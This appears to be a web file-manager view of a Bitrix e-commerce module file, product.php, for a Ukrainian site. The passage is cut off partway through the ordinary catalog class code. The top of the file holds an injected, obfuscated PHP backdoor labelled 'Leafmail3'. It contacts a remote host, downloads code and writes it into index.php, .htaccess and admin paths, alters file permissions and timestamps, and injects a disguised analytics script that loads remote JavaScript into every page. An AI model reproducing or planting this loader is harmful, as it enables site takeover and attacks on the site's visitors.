Your IP : 18.219.94.100


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/catalog/general/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/modules/catalog/general/product.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
/** @global \CMain $APPLICATION */
use Bitrix\Main\Localization\Loc,
	Bitrix\Main,
	Bitrix\Currency,
	Bitrix\Catalog,
	Bitrix\Sale;

Loc::loadMessages(__FILE__);

class CAllCatalogProduct
{
	const TYPE_PRODUCT = Catalog\ProductTable::TYPE_PRODUCT;
	const TYPE_SET = Catalog\ProductTable::TYPE_SET;
	const TYPE_SKU = Catalog\ProductTable::TYPE_SKU;
	const TYPE_OFFER = Catalog\ProductTable::TYPE_OFFER;
	const TYPE_FREE_OFFER = Catalog\ProductTable::TYPE_FREE_OFFER;
	const TYPE_EMPTY_SKU = Catalog\ProductTable::TYPE_EMPTY_SKU;

	const TIME_PERIOD_HOUR = Catalog\ProductTable::PAYMENT_PERIOD_HOUR;
	const TIME_PERIOD_DAY = Catalog\ProductTable::PAYMENT_PERIOD_DAY;
	const TIME_PERIOD_WEEK = Catalog\ProductTable::PAYMENT_PERIOD_WEEK;
	const TIME_PERIOD_MONTH = Catalog\ProductTable::PAYMENT_PERIOD_MONTH;
	const TIME_PERIOD_QUART = Catalog\ProductTable::PAYMENT_PERIOD_QUART;
	const TIME_PERIOD_SEMIYEAR = Catalog\ProductTable::PAYMENT_PERIOD_SEMIYEAR;
	const TIME_PERIOD_YEAR = Catalog\ProductTable::PAYMENT_PERIOD_YEAR;
	const TIME_PERIOD_DOUBLE_YEAR = Catalog\ProductTable::PAYMENT_PERIOD_DOUBLE_YEAR;

	/** @deprecated deprecated since catalog 17.6.3 */
	protected static $arProductCache = array();

	/** @deprecated deprecated since catalog 17.0.11 */
	protected static $usedCurrency = null;
	/** @deprecated deprecated since catalog 17.5.1 */
	protected static $optimalPriceWithVat = true;
	/** @deprecated deprecated since catalog 17.5.1 */
	protected static $useDiscount = true;

	protected static $saleIncluded = null;
	protected static $useSaleDiscount = null;
	protected static $vatCache = array();

	private static $existPriceTypeDiscounts = false;

	/**
	 * @deprecated deprecated since catalog 17.0.11
	 * @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
	 *
	 * @param string $currency
	 * @return void
	 */
	public static function setUsedCurrency($currency)
	{
		Catalog\Product\Price\Calculation::setConfig(array('CURRENCY' => $currency));
	}

	/**
	 * @deprecated deprecated since catalog 17.0.11
	 * @see \Bitrix\Catalog\Product\Price\Calculation::getConfig()
	 *
	 * @return null|string
	 */
	public static function getUsedCurrency()
	{
		$config = Catalog\Product\Price\Calculation::getConfig();
		return $config['CURRENCY'];
	}

	/**
	 * @deprecated deprecated since catalog 17.0.11
	 * @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
	 *
	 * @return void
	 */
	public static function clearUsedCurrency()
	{
		Catalog\Product\Price\Calculation::setConfig(array('CURRENCY' => null));
	}

	/**
	 * @deprecated deprecated since catalog 17.5.1
	 * @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
	 *
	 * @param bool $mode
	 * @return void
	 */
	public static function setPriceVatIncludeMode($mode)
	{
		Catalog\Product\Price\Calculation::setConfig(array('RESULT_WITH_VAT' => $mode));
	}

	/**
	 * @deprecated deprecated since catalog 17.5.1
	 * @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
	 *
	 * @return bool
	 */
	public static function getPriceVatIncludeMode()
	{
		return Catalog\Product\Price\Calculation::isIncludingVat();
	}

	/**
	 * @deprecated deprecated since catalog 17.5.1
	 * @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
	 *
	 * @param bool $use
	 * @return void
	 */
	public static function setUseDiscount($use)
	{
		Catalog\Product\Price\Calculation::setConfig(array('USE_DISCOUNTS' => $use));
	}

	/**
	 * @deprecated deprecated since catalog 17.5.1
	 * @see \Bitrix\Catalog\Product\Price\Calculation::getConfig()
	 *
	 * @return bool
	 */
	public static function getUseDiscount()
	{
		return Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
	}

	/**
	 * @deprecated deprecated since catalog 17.6.3
	 *
	 * @return void
	 */
	public static function ClearCache()
	{
		self::$arProductCache = [];
		self::$vatCache = [];
	}

	/**
	 * @param array $product
	 * @return bool
	 */
	public static function isAvailable($product)
	{
		$result = true;
		if (!empty($product) && is_array($product))
		{
			if (isset($product['QUANTITY']) && isset($product['QUANTITY_TRACE']) && isset($product['CAN_BUY_ZERO']))
			{
				$result = !((float)$product['QUANTITY'] <= 0 && $product['QUANTITY_TRACE'] == 'Y' && $product['CAN_BUY_ZERO'] == 'N');
			}
		}
		return $result;
	}

	/**
	 * @deprecated deprecated since catalog 15.5.2
	 * @see \Bitrix\Catalog\ProductTable::isExistProduct()
	 *
	 * @param int $intID
	 * @return bool
	 */
	public static function IsExistProduct($intID)
	{
		return Catalog\ProductTable::isExistProduct($intID);
	}

	public static function CheckFields($ACTION, &$arFields, $ID = 0)
	{
		global $APPLICATION;

		$arMsg = array();
		$boolResult = true;

		$ACTION = strtoupper($ACTION);
		$ID = (int)$ID;
		if ($ACTION == "ADD" && (!is_set($arFields, "ID") || (int)$arFields["ID"]<=0))
		{
			$arMsg[] = array('id' => 'ID','text' => Loc::getMessage('KGP_EMPTY_ID'));
			$boolResult = false;
		}
		if ($ACTION != "ADD" && $ID <= 0)
		{
			$arMsg[] = array('id' => 'ID','text' => Loc::getMessage('KGP_EMPTY_ID'));
			$boolResult = false;
		}

		$clearFields = array(
			'NEGATIVE_AMOUNT_TRACE',
			'~NEGATIVE_AMOUNT_TRACE',
			'~TYPE',
			'~AVAILABLE'
		);
		if ($ACTION =='UPDATE')
		{
			$clearFields[] = 'ID';
			$clearFields[] = '~ID';
		}
		if ($ACTION == 'ADD')
		{
			$clearFields[] = 'BUNDLE';
			$clearFields[] = '~BUNDLE';
		}

		foreach ($clearFields as $fieldName)
		{
